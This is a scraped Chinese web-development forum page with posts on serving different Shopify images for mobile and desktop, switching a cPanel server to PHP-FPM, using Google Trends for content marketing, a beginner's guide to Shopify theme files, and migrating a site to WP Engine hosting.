但是目前Shopify如果想要根据不同的浏览器显示不同的图片,我下面将三种方法:
 
1、一个是用css写,当浏览器缩小到一定的尺寸以后,PC端的图片隐藏,移动端的图片显示,如下所示:@media (max-width:768px){
.desktop img{
display:none;
}
.mobile img{
display:none;
}
}
2、第二个就是让这个图片当做背景,固定容器的高度,但是这个有一个缺点就是浏览器小到一定程度就会被裁切,只保留中间的部分,所以做图的时候还得特别注意,要把重要的内容尽量往图片的中间位置放,如下所示:@media (max-width:768px){
.desktop{
display:block;
height:300px;
background:url("https://cdn.shopify.com/s/file ... 6quot;) no-repeat;
background-size:cover;
}
}3、就是通过在section对应的文件中添加两个图片,一个是移动端的,一个是PC端的,如下图所示:





 
如果不会添加可以查看Shopify sections模板文件里面添加text、textarea等字段 ,然后在前台需要显示的位置添加一段HTML的代码,并调用这两个图片:
 




 
如上图所示,我们只要用picture标签来引用这两个图片即可,picture中间的source可以根据自己的需求添加多个,在添加的同时,不要忘记在下面多添加几个图片,然后我们在对其改造一下,如下图所示:





 
这样如果在后台Customize中,有一个地方没有添加图片,在电脑上面对应的位置就不会显示图片。
 
以上三种各有优缺点,如果想以后在也不想看代码的话,本人建议使用第三种方法,写一次就可以。
 
如有不对,还请各位大神提出修改意见! 查看全部
相信用过shopify的用户都了解一点,就是当我们在添加图片的时候,如果图片的高度很小,PC端显示没有问题的时候,在手机端就会变成一个长条,所以大家可能会很郁闷,怎么才能让移动端显示的图片大一点呢?
 
但是目前Shopify如果想要根据不同的浏览器显示不同的图片,我下面将三种方法:
 
1、一个是用css写,当浏览器缩小到一定的尺寸以后,PC端的图片隐藏,移动端的图片显示,如下所示:
@media (max-width:768px){
.desktop img{
display:none;
}
.mobile img{
display:none;
}
}

2、第二个就是让这个图片当做背景,固定容器的高度,但是这个有一个缺点就是浏览器小到一定程度就会被裁切,只保留中间的部分,所以做图的时候还得特别注意,要把重要的内容尽量往图片的中间位置放,如下所示:
@media (max-width:768px){
.desktop{
display:block;
height:300px;
background:url("https://cdn.shopify.com/s/file ... 6quot;) no-repeat;
background-size:cover;
}
}
3、就是通过在section对应的文件中添加两个图片,一个是移动端的,一个是PC端的,如下图所示:

微信图片_20181219091050.png

 
如果不会添加可以查看Shopify sections模板文件里面添加text、textarea等字段 ,然后在前台需要显示的位置添加一段HTML的代码,并调用这两个图片:
 
微信图片_20181219091400.png

 
如上图所示,我们只要用picture标签来引用这两个图片即可,picture中间的source可以根据自己的需求添加多个,在添加的同时,不要忘记在下面多添加几个图片,然后我们在对其改造一下,如下图所示:

微信图片_20181219092103.png

 
这样如果在后台Customize中,有一个地方没有添加图片,在电脑上面对应的位置就不会显示图片。
 
以上三种各有优缺点,如果想以后在也不想看代码的话,本人建议使用第三种方法,写一次就可以。
 
如有不对,还请各位大神提出修改意见!

推荐使用WHM上最新的PHP-FPM作为PHP处理器可极大提高服务器并发处理能力

Linux运维East_Digi_Marketing 发表了文章 • 0 个评论 • 4091 次浏览 • 2018-12-18 20:27 • 来自相关话题

这两天,美国cPanel服务器上的负载经常虚高,经查看进程发现有大量的垃圾进程在充斥期间,虽然开启了Apache的Mod_Security可以挡掉大部分的垃圾进程,但无奈于这种进程达到一定数量级以后,再怎么挡也还是来不及的,最终还是会导致服务器性能大幅下降,引起网站打开明显变慢。
 
经过一段时间研究发现,WHM自带的传统PHP处理器明显已经落后了,无法处理大量并发的请求,而其实WHM最新版已经提供了一款更好的PHP处理器也就是PHP-FPM。





 
 

使用PHP-FastCGI Process Manager(PHP-FPM)为使用WordPress内容管理系统(CMS)的网站提供最佳性能。 PHP-FPM是一种用于PHP脚本语言的高级,高效处理器。 配置为使用PHP-FPM的WordPress网站可以使用与其他PHP处理程序相同或更少的服务器资源,从而提供更多的网站流量。 这归功于PHP-FPM的架构和功能。 

使用了​PHP-FPM以后,WHM的进程列表变成如下图:





 
服务器负载疯狂飙升了一天,至此终于变得老实和可控了,接下来继续观察一段时间发现,的确负载基本不会很夸张的飙升了,大家也不妨试试看。 查看全部
这两天,美国cPanel服务器上的负载经常虚高,经查看进程发现有大量的垃圾进程在充斥期间,虽然开启了Apache的Mod_Security可以挡掉大部分的垃圾进程,但无奈于这种进程达到一定数量级以后,再怎么挡也还是来不及的,最终还是会导致服务器性能大幅下降,引起网站打开明显变慢。
 
经过一段时间研究发现,WHM自带的传统PHP处理器明显已经落后了,无法处理大量并发的请求,而其实WHM最新版已经提供了一款更好的PHP处理器也就是PHP-FPM。

TIM图片20181218201516.png

 
 


使用PHP-FastCGI Process Manager(PHP-FPM)为使用WordPress内容管理系统(CMS)的网站提供最佳性能。 PHP-FPM是一种用于PHP脚本语言的高级,高效处理器。 配置为使用PHP-FPM的WordPress网站可以使用与其他PHP处理程序相同或更少的服务器资源,从而提供更多的网站流量。 这归功于PHP-FPM的架构和功能。 


使用了​PHP-FPM以后,WHM的进程列表变成如下图:

TIM图片20181218202528.png

 
服务器负载疯狂飙升了一天,至此终于变得老实和可控了,接下来继续观察一段时间发现,的确负载基本不会很夸张的飙升了,大家也不妨试试看。

利用谷歌趋势(google trends)来规划内容进行营销

Google SEOcarol 发表了文章 • 1 个评论 • 5774 次浏览 • 2018-12-18 10:29 • 来自相关话题

谷歌趋势是一款免费的在线搜索工具,通过它可以查看某个关键词在一定时间范围内的受欢迎程度和搜索趋势。这些指标主要来自于谷歌搜索,谷歌购物,YouTube,谷歌新闻和谷歌图片,也为进行谷歌优化和营销的企业提供大方向。google trends的搜索结果以简单的图表呈现,简洁明了。





 
1、如何使用Google趋势
在搜索栏中输入我们关心的关键词后,将看到四个细化选项,这些选项将允许我们进一步仔细检查并充分探索结果。
位置:从全球到城市
时间范围:选项从2004年到 last hour
类别:选项包括艺术与娱乐,体育,政治,金融,新闻等。
搜索类型:图片搜索,新闻搜索,Google购物和Youtube搜索
 
在分析Google趋势中的搜索量指数时,要只到我们查询后显示的图表不代表实际的搜索量数字,而是用0-100表示受欢迎程度。即在选区域和时间的前提下用户对所查询的关键词的兴趣值。不过要注意得分为0意味着所选术语无法获得足够数量的数据,也有可能是关键词没达到一定搜索量无法显示。




 
2、通过Google Trends获得内容营销思路
 
可以通过长期和短期两种范围来查看关键词数据,能够更有力的辨别关键词的使用是否有价值高。如果搜索的关键词能够保持长期上升的趋势,那么这个关键词就值得集中精力用于内容营销。如果搜索的关键词长期处于下降的趋势,那么可能是受众的内容消费形式正在逐步改变,是否使用这个词汇就需要仔细进行斟酌,分析短期的趋势能否有一定的上升回暖了。

以常见的游戏LOL为例:
将时间选为近五年,地区选择英国(没有欧洲这个选项- -),分类选择game,网页搜索。我们会得出以下数据。





总体来说从2014年到2016年该关键词是处于下降趋势的,这时候主要也是因为绝地求生等游戏兴起影响了lol的热度。到今年该关键词又处于回暖的趋势,这主要是因为绝地求生挂多游戏体验差,第二个也是因为今年S赛,欧洲赛区的选手表现比较惊人,出了好多法王。让玩家重拾了有LOL的兴趣。
 
3、查看短期趋势认识内容营销
查看短期内的关键词趋势,比如90天或者甚至30天的趋势图,可以为实现最大化内容营销提供有价值的见解。
还是以LOL为例,谷歌上的两大热搜关键词趋势是有关“lol world championship”等相关搜索问题。当我们将趋势图缩小到90天的范围,就可以看到这些搜索问题流行了几周。









 
4、利用对比,了解竞争对手并做竞争对手分析
还是上面那个例子,以绝地求生为比较。可以自定义时间、地区、搜索方式。以此来了解竞争对手最大的市场区域,我们的进行内容营销在哪个地区更有优势等。





 
除此之外,在进行内容营销准备时也可以直接去谷歌趋势的菜单栏查看最近的热门主题,结合自己行业和产品来进行内容撰写,这样会大大提高我们文章被发现的可能性,且来的流量都是精准流量。
 
总的来说,Google Trends是一个十分有用的工具,使用他能够产生重要的搜索营销思路。不过google trends提供的是广义范围内的搜索数据,要想进行精确的关键词分析就需要利用其它工具了。 
 
 
  查看全部
谷歌趋势是一款免费的在线搜索工具,通过它可以查看某个关键词在一定时间范围内的受欢迎程度和搜索趋势。这些指标主要来自于谷歌搜索,谷歌购物,YouTube,谷歌新闻和谷歌图片,也为进行谷歌优化和营销的企业提供大方向。google trends的搜索结果以简单的图表呈现,简洁明了。

1.png

 
1、如何使用Google趋势
在搜索栏中输入我们关心的关键词后,将看到四个细化选项,这些选项将允许我们进一步仔细检查并充分探索结果。
位置:从全球到城市
时间范围:选项从2004年到 last hour
类别:选项包括艺术与娱乐,体育,政治,金融,新闻等。
搜索类型:图片搜索,新闻搜索,Google购物和Youtube搜索
 
在分析Google趋势中的搜索量指数时,要只到我们查询后显示的图表不代表实际的搜索量数字,而是用0-100表示受欢迎程度。即在选区域和时间的前提下用户对所查询的关键词的兴趣值。不过要注意得分为0意味着所选术语无法获得足够数量的数据,也有可能是关键词没达到一定搜索量无法显示。
Inked2_LI.jpg

 
2、通过Google Trends获得内容营销思路
 
可以通过长期和短期两种范围来查看关键词数据,能够更有力的辨别关键词的使用是否有价值高。如果搜索的关键词能够保持长期上升的趋势,那么这个关键词就值得集中精力用于内容营销。如果搜索的关键词长期处于下降的趋势,那么可能是受众的内容消费形式正在逐步改变,是否使用这个词汇就需要仔细进行斟酌,分析短期的趋势能否有一定的上升回暖了。

以常见的游戏LOL为例:
将时间选为近五年,地区选择英国(没有欧洲这个选项- -),分类选择game,网页搜索。我们会得出以下数据。

3.png

总体来说从2014年到2016年该关键词是处于下降趋势的,这时候主要也是因为绝地求生等游戏兴起影响了lol的热度。到今年该关键词又处于回暖的趋势,这主要是因为绝地求生挂多游戏体验差,第二个也是因为今年S赛,欧洲赛区的选手表现比较惊人,出了好多法王。让玩家重拾了有LOL的兴趣。
 
3、查看短期趋势认识内容营销
查看短期内的关键词趋势,比如90天或者甚至30天的趋势图,可以为实现最大化内容营销提供有价值的见解。
还是以LOL为例,谷歌上的两大热搜关键词趋势是有关“lol world championship”等相关搜索问题。当我们将趋势图缩小到90天的范围,就可以看到这些搜索问题流行了几周。
4.png


5.png

 
4、利用对比,了解竞争对手并做竞争对手分析
还是上面那个例子,以绝地求生为比较。可以自定义时间、地区、搜索方式。以此来了解竞争对手最大的市场区域,我们的进行内容营销在哪个地区更有优势等。

6.png

 
除此之外,在进行内容营销准备时也可以直接去谷歌趋势的菜单栏查看最近的热门主题,结合自己行业和产品来进行内容撰写,这样会大大提高我们文章被发现的可能性,且来的流量都是精准流量。
 
总的来说,Google Trends是一个十分有用的工具,使用他能够产生重要的搜索营销思路。不过google trends提供的是广义范围内的搜索数据,要想进行精确的关键词分析就需要利用其它工具了。 
 
 
 

关于shopify开发的入门

Shopifychad 发表了文章 • 1 个评论 • 7427 次浏览 • 2018-12-11 11:05 • 来自相关话题

最近经手维护以及开发的shopfiy项目还是比较多的,在这块的开发上面积累了些许经验,经日有seo同事问道shopfiy后台文件怎么查找,找不到很多需要的东西怎么办?特在此写一些关于shopify入门的一些知识,只为给后来的同事填填坑,一起学习进步之用。
来来来,干货走起:




进入后台,上面这三个位置算是我们开发者需要知道的核心部分,产品以及分类,和上线后才添加的online store.如果把online store去掉,那所有产品都不存在,都在网站上是不会显示的。




打开产品分类,像里面有缩略图的部分,就是在某个产品分类点进去之后右下角有个collection img,上传之后就会呈现。而在页面上当引入某个分类的时候这张collection  img也会正常显示出来。




点击打开online store界面,这四个部分都是非常重要的,我们依次分说。首先第一个theme主题,类似wordpress里面主题,此处可以上传主题包,一般是zip压缩包。其界面里也是包含很多重要内容,也是每个项目的核心部分,内容展示如下:




其中customize部分类似worpress里面的在线构建网页,只是wordpress用的比较少,但是对于shopify却是神器,这个界面长什么样子呢?大家请看:




这部分是左侧侧边栏,所有的section是构成首页部分的关键,不同的section通过拖拽可以调换位置,我们构建首页的时候根据不同的要求选择不同的section,然后拖拽到不同的位置。那就有同学问了,如果某部分section并不完全符合,我们应该怎么去找到对应的code做修改呢?好,关键的来了,请睁大你迷人的双眼:




点到某个section,进入之后,点击右键查找元素,在这部分section的最外层节点里面有个type属性,就是它,他就是你在code里面找到对应的文件夹的名字。ps:一定要在custiomize界面右键查看代码哦,网站页面这些代码是不存在的。
说到code界面呢,也是在theme界面,再次给大家看下位置:




edit code,点击进入(友情提示,新手尽量不要更改这部分代码),当当当,




清新脱俗的界面映入眼帘,对于经常打代码的你是不是跃跃欲试?废话不多讲,先说说几个文件夹的含义。第一个layout文件夹,首页部分存放位置,名曰theme.liquid,有的叫什么index.liquid。该文件所用就是引入框架,css样式已经首页部分框架搭建等。它与我们最大的作用就是引入css样式,以及js文件。具体引入方式可参照里面的方式,方式多种多样,自行参悟即可。
其次看下这个template文件夹。顾名思义模板,什么页面模板,collection模板都在该文件夹。也是可以自己新建文件夹的,新建重命名之后,在后台product里collection或者page里就可以重新选择新建的模板。操作方式和wordpress雷同。
接下来这个可有意思了,值得大家好好学习研究的文件夹section。此处的妙用即是,凡是此文件夹的内容都是可以在cutiomize界面呈现出来的。这样我们的客户就可以很方便的操作网站的内容了。




看图说话,有木有觉得很熟悉,有没有似曾相识的感觉。没有的话说明你没用心看,不用心何以体会到我这字字如今的境界,昂?哈哈,开个玩笑。这个侧边栏即是上面展示section部分的侧边栏,上面说了这部分通过右键查看代码,找到的type是featured-collection。好,我们就在sectionwen文件夹找到featured-collection.liquid文件。打开之后,请看最下面有个标签:{ schema }{ endschema },里面部分




为了尽可能多的展示,字体有些小,见谅哈。看看上面给上面section侧边栏的截图,有没有很相似?仔细看,如果看出相似之处,那说明你有当码农的慧根。嘿嘿,对你看到的相似之处就是两个又是一一对应的关系。此处添加修改不同的json字符串,那么customize界面就会展示不同的功能模块。是不是很强大?很给力?试想你添加了对应的模块给顾客,顾客添加完数据,你通过liquid语言代码引入到网站页面上来。是不是很完美?因为该文章是入门,所以再深次层的代码解读就需要大家去努力了,在此就不做赘述。
snippets,字面理解,代码块。这部分内容就是已经写好了很多很多代码块或者功能模块,如果那部分需要,只要直接引用即可{%  include ***  %}就100%是引入snippets部分内容,自己也可以写成固定snippets,然后引入即可。
后面的asset文件夹就是存放png文件,以及js,css文件的地方,引入到文件的方式也不尽相同。例如对于favicon的引入<link rel="shortcut icon" type="image/x-icon" href="{{ 'favicon.png' | asset_url }}">,加粗部分就是常用引入图片方式。后面俩文件夹看了,没必要提了,完全没啥可说的,自己研究下即可。
edit code部分基本完结,欲知后事如何,应该没有下回了。噗,言归正传,继续往下看edit languages。你可以更改默认语言,这里比较蛋疼,默认语言不支持中文,我大中华文明竟然这样被抛弃了。而且更蛋疼的是,你改成中文之后的bug,导航部分无法生成下拉菜单,所以千万不要改成中文。宁愿用插件转成中文,也不要把默认语言改成中文。
接下来blog部分,新闻部分,作为电商网站,这部分用的不太多。简单来说这部分也是以页面的形式编辑的,就是page的编辑器以及样式。在里面可以大大广告之后,在页面的侧边栏等将这些展示出来,起到引流的作用。
后面的pages部分,如果懂得wordpress,那这部分就兼职熟的不要不要的。标题,内容,模板引入等等。这里有一点值得提一提,下面有个seo的工具




什么title,description,url都是可以更改的。尤其是url的更改,就可以改成顾客所需求的url,增加用户体验
来来来,最后一个点navigation。此处可以更改页面的导航栏,也可以在页面的footer部分增添新导航。增加新的导航就如图




在link里面选择展示的内容,如果name没写,选择好link之后,name就会自动填充当前link。而且所有增加的nav都是可以拖拽调换位置的,有人就说了如果想增加子菜单是不是直接拖到对应父nav下面就可以生成子菜单了?非也非也,子菜单的这种添加方式是有bug的,有时候不生效。最有效的方式就是返回前面add menu,再新家一个nav,名字就是需要添加的父nav的名字。再将子菜单添加进去,保存刷新页面,页面就会完美呈现子菜单了。
这次的入门教程就写到这里吧,有时间我会再更新第二部的,让更多的人熟悉shopify,熟悉liquid,更多的人参与进来。
  查看全部
最近经手维护以及开发的shopfiy项目还是比较多的,在这块的开发上面积累了些许经验,经日有seo同事问道shopfiy后台文件怎么查找,找不到很多需要的东西怎么办?特在此写一些关于shopify入门的一些知识,只为给后来的同事填填坑,一起学习进步之用。
来来来,干货走起:
1.png

进入后台,上面这三个位置算是我们开发者需要知道的核心部分,产品以及分类,和上线后才添加的online store.如果把online store去掉,那所有产品都不存在,都在网站上是不会显示的。
2.png

打开产品分类,像里面有缩略图的部分,就是在某个产品分类点进去之后右下角有个collection img,上传之后就会呈现。而在页面上当引入某个分类的时候这张collection  img也会正常显示出来。
3.png

点击打开online store界面,这四个部分都是非常重要的,我们依次分说。首先第一个theme主题,类似wordpress里面主题,此处可以上传主题包,一般是zip压缩包。其界面里也是包含很多重要内容,也是每个项目的核心部分,内容展示如下:
4.png

其中customize部分类似worpress里面的在线构建网页,只是wordpress用的比较少,但是对于shopify却是神器,这个界面长什么样子呢?大家请看:
5.png

这部分是左侧侧边栏,所有的section是构成首页部分的关键,不同的section通过拖拽可以调换位置,我们构建首页的时候根据不同的要求选择不同的section,然后拖拽到不同的位置。那就有同学问了,如果某部分section并不完全符合,我们应该怎么去找到对应的code做修改呢?好,关键的来了,请睁大你迷人的双眼:
6.png

点到某个section,进入之后,点击右键查找元素,在这部分section的最外层节点里面有个type属性,就是它,他就是你在code里面找到对应的文件夹的名字。ps:一定要在custiomize界面右键查看代码哦,网站页面这些代码是不存在的。
说到code界面呢,也是在theme界面,再次给大家看下位置:
4.png

edit code,点击进入(友情提示,新手尽量不要更改这部分代码),当当当,
7.png

清新脱俗的界面映入眼帘,对于经常打代码的你是不是跃跃欲试?废话不多讲,先说说几个文件夹的含义。第一个layout文件夹,首页部分存放位置,名曰theme.liquid,有的叫什么index.liquid。该文件所用就是引入框架,css样式已经首页部分框架搭建等。它与我们最大的作用就是引入css样式,以及js文件。具体引入方式可参照里面的方式,方式多种多样,自行参悟即可。
其次看下这个template文件夹。顾名思义模板,什么页面模板,collection模板都在该文件夹。也是可以自己新建文件夹的,新建重命名之后,在后台product里collection或者page里就可以重新选择新建的模板。操作方式和wordpress雷同。
接下来这个可有意思了,值得大家好好学习研究的文件夹section。此处的妙用即是,凡是此文件夹的内容都是可以在cutiomize界面呈现出来的。这样我们的客户就可以很方便的操作网站的内容了。
8.png

看图说话,有木有觉得很熟悉,有没有似曾相识的感觉。没有的话说明你没用心看,不用心何以体会到我这字字如今的境界,昂?哈哈,开个玩笑。这个侧边栏即是上面展示section部分的侧边栏,上面说了这部分通过右键查看代码,找到的type是featured-collection。好,我们就在sectionwen文件夹找到featured-collection.liquid文件。打开之后,请看最下面有个标签:{ schema }{ endschema },里面部分
9.png

为了尽可能多的展示,字体有些小,见谅哈。看看上面给上面section侧边栏的截图,有没有很相似?仔细看,如果看出相似之处,那说明你有当码农的慧根。嘿嘿,对你看到的相似之处就是两个又是一一对应的关系。此处添加修改不同的json字符串,那么customize界面就会展示不同的功能模块。是不是很强大?很给力?试想你添加了对应的模块给顾客,顾客添加完数据,你通过liquid语言代码引入到网站页面上来。是不是很完美?因为该文章是入门,所以再深次层的代码解读就需要大家去努力了,在此就不做赘述。
snippets,字面理解,代码块。这部分内容就是已经写好了很多很多代码块或者功能模块,如果那部分需要,只要直接引用即可{%  include ***  %}就100%是引入snippets部分内容,自己也可以写成固定snippets,然后引入即可。
后面的asset文件夹就是存放png文件,以及js,css文件的地方,引入到文件的方式也不尽相同。例如对于favicon的引入<link rel="shortcut icon" type="image/x-icon" href="{{ 'favicon.png' | asset_url }}">,加粗部分就是常用引入图片方式。后面俩文件夹看了,没必要提了,完全没啥可说的,自己研究下即可。
edit code部分基本完结,欲知后事如何,应该没有下回了。噗,言归正传,继续往下看edit languages。你可以更改默认语言,这里比较蛋疼,默认语言不支持中文,我大中华文明竟然这样被抛弃了。而且更蛋疼的是,你改成中文之后的bug,导航部分无法生成下拉菜单,所以千万不要改成中文。宁愿用插件转成中文,也不要把默认语言改成中文。
接下来blog部分,新闻部分,作为电商网站,这部分用的不太多。简单来说这部分也是以页面的形式编辑的,就是page的编辑器以及样式。在里面可以大大广告之后,在页面的侧边栏等将这些展示出来,起到引流的作用。
后面的pages部分,如果懂得wordpress,那这部分就兼职熟的不要不要的。标题,内容,模板引入等等。这里有一点值得提一提,下面有个seo的工具
10.png

什么title,description,url都是可以更改的。尤其是url的更改,就可以改成顾客所需求的url,增加用户体验
来来来,最后一个点navigation。此处可以更改页面的导航栏,也可以在页面的footer部分增添新导航。增加新的导航就如图
11.png

在link里面选择展示的内容,如果name没写,选择好link之后,name就会自动填充当前link。而且所有增加的nav都是可以拖拽调换位置的,有人就说了如果想增加子菜单是不是直接拖到对应父nav下面就可以生成子菜单了?非也非也,子菜单的这种添加方式是有bug的,有时候不生效。最有效的方式就是返回前面add menu,再新家一个nav,名字就是需要添加的父nav的名字。再将子菜单添加进去,保存刷新页面,页面就会完美呈现子菜单了。
这次的入门教程就写到这里吧,有时间我会再更新第二部的,让更多的人熟悉shopify,熟悉liquid,更多的人参与进来。
 

关于WP Engine空间

WordPressLeo 发表了文章 • 1 个评论 • 3546 次浏览 • 2018-12-10 10:56 • 来自相关话题

细心的朋友可能会发现,其实WP正是WordPress的简称,这也就意味着WP Engine与其他美国主机商是不一样的,因为WP Engine只提供WordPress主机产品。
目前WP Engine主机共提供STARTUP、GROWTH、SCALE三款主机方案,都是非常适合用来搭建WordPress网站的。不过需要注意的,WP Engine主机价格却不便宜,最低价格是35美元/月(年付款可赠送2个月免费使用时间)
当然了,我还是不推荐这种主机的,没有操作上的难点,适合服务器小白使用,但是价格高,简言之,拿钱换方便,全自动,所谓全自动,也就是你的所有空间信息、域名信息(因为要绑定域名)也全是被其他人掌握的,你只需小手一点,一切便开始,便结束了。(好吧,这话是违心了)
废话不多说,以下是关于这个WP Engine的使用方法,我把迁移网站需要的一些必要设置列一下(顺序不分先后):
1、add domain (注意带www,我试过不带www,不会自动跳转,即使你解析那www记录添加了也不会跳转)




2、创建sftp 用户
3、wp-site-migrate安装这个插件(我已上传至附近,也可以在官网下载) 需添加你的wp engine登入邮箱、域名(注意带www)、主机ip地址和上一条提到的sftp用户名和密码,然后就可以开始Migrate迁移
4、迁移的时候只需配置前面几项,后面可选的可以不填,域名(带www),sftp用户名密码、ip地址,save一下就可以下一步,看到迁移进度条了,总共三个进度条,等全部100%之时,网站便已迁移成功可以打开了。
5、网站的用户名密码将是迁移之前网站的用户名密码
6、接着你可以配置ssl证书,最便宜的空间套餐是只能用空间提供的免费ssl和购买空间提供的rapidssl;
你还可以开启你网站的cdn;配置网站备份backup point以防万一;配置重定向等等;
 
在WP Engine空间成功开通一个网站后,也算是小小的颠覆了我以往对于网站开通的理解,当然是步骤上而非理念,不过是将步骤简化吧。
可能这就是一个新的趋势吧,所谓创新即将想法付诸于商业。 查看全部
细心的朋友可能会发现,其实WP正是WordPress的简称,这也就意味着WP Engine与其他美国主机商是不一样的,因为WP Engine只提供WordPress主机产品。
目前WP Engine主机共提供STARTUP、GROWTH、SCALE三款主机方案,都是非常适合用来搭建WordPress网站的。不过需要注意的,WP Engine主机价格却不便宜,最低价格是35美元/月(年付款可赠送2个月免费使用时间)
当然了,我还是不推荐这种主机的,没有操作上的难点,适合服务器小白使用,但是价格高,简言之,拿钱换方便,全自动,所谓全自动,也就是你的所有空间信息、域名信息(因为要绑定域名)也全是被其他人掌握的,你只需小手一点,一切便开始,便结束了。(好吧,这话是违心了)
废话不多说,以下是关于这个WP Engine的使用方法,我把迁移网站需要的一些必要设置列一下(顺序不分先后):
1、add domain (注意带www,我试过不带www,不会自动跳转,即使你解析那www记录添加了也不会跳转)
1.png

2、创建sftp 用户
3、wp-site-migrate安装这个插件(我已上传至附近,也可以在官网下载) 需添加你的wp engine登入邮箱、域名(注意带www)、主机ip地址和上一条提到的sftp用户名和密码,然后就可以开始Migrate迁移
4、迁移的时候只需配置前面几项,后面可选的可以不填,域名(带www),sftp用户名密码、ip地址,save一下就可以下一步,看到迁移进度条了,总共三个进度条,等全部100%之时,网站便已迁移成功可以打开了。
5、网站的用户名密码将是迁移之前网站的用户名密码
6、接着你可以配置ssl证书,最便宜的空间套餐是只能用空间提供的免费ssl和购买空间提供的rapidssl;
你还可以开启你网站的cdn;配置网站备份backup point以防万一;配置重定向等等;
 
在WP Engine空间成功开通一个网站后,也算是小小的颠覆了我以往对于网站开通的理解,当然是步骤上而非理念,不过是将步骤简化吧。
可能这就是一个新的趋势吧,所谓创新即将想法付诸于商业。